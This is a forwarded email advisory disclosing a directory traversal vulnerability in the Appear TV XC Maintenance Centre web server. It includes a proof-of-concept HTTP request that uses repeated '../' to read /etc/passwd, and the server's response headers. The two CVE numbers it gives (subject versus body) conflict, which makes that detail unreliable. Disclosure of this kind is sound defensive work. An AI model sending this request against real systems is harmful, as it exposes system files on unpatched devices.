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From: IS Threat Team
Sent: 05 April 2018 10:31
To: '' <>
Subject: FW: CVE-2018-7539 Directory Traversal on Appear TV Maintenance centre 

Discoverer: Arqiva Threat Team

Person Karl W

Product: Appear TV XC Hardware Maintenance Centre on port TCP/8088

Vendor : Appear TV

Code Versions: All Version

Vulnerability: Directory Traversal

Impact: It is possible to read OS files with specially crafted URL

Attack Type: Remote

CVE: CVE-2017-12544


The web server (fuzzd/0.1.1) running the Maintenance Center on port TCP/8088 
allows an attacker to use a specially crafted URL to read Operating System (OS) 
This vulnerability was used in the full compromise of the appliance.


Proof code:


GET /../../../../../../../../../../../../etc/passwd
Host: x.x.x.x:8088
User-Agent: curl/7.56.1

Accept: */*


HTTP/1.1 200 OK
Content-Length: 1110
Content-Type: text/plain; charset=utf-8
Cache-Control: max-age=3600
Server: fuzzd/0.1.1





vendor confirmed and acknowledged the vulnerability

Advised work around by disabling Maintenance Centre when not in use.

Advised not able to fix.



Karl  W


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